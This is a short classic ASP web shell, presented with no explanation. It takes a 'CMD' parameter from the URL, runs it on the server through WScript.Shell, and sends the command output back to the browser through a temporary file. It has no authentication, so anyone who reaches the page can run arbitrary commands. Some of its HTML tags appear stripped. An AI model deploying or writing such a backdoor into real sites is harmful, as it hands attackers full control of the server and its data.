<% Set FileSys = Server.CreateObject("Scripting.FileSystemObject") FileName = FileSys.GetTempName Set WShShell = Server.CreateObject("WScript.Shell") If Request.QueryString("CMD") <> "" Then Set CMD = Request.QueryString("CMD") CMD = Trim(CMD) & " > TmpFile.txt" Response.Write("Executing " & CMD & "
") RetCode = WShShell.Run(CMD, 1, True) if RetCode = 0 Then Set TextFile = FileSys.OpenTextFile("TmpFile.txt", 1) TextBuffer = TextFile.ReadAll Response.Write("") For i = 1 to Len(TextBuffer) Response.Write(Mid(TextBuffer,i,1)) Next Response.Write("</PLAINTEXT>") TextFile.Close FileSys.DeleteFile "TmpFile.txt" else %> There were errors. <% end if Else %> ASP requires GET w/ "CMD=" <% End If %>